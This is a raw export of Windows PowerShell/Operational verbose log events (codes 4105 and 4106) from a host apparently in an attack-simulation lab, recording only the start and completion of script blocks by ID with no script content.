SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049275
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049269
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049247
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049245
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049244
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
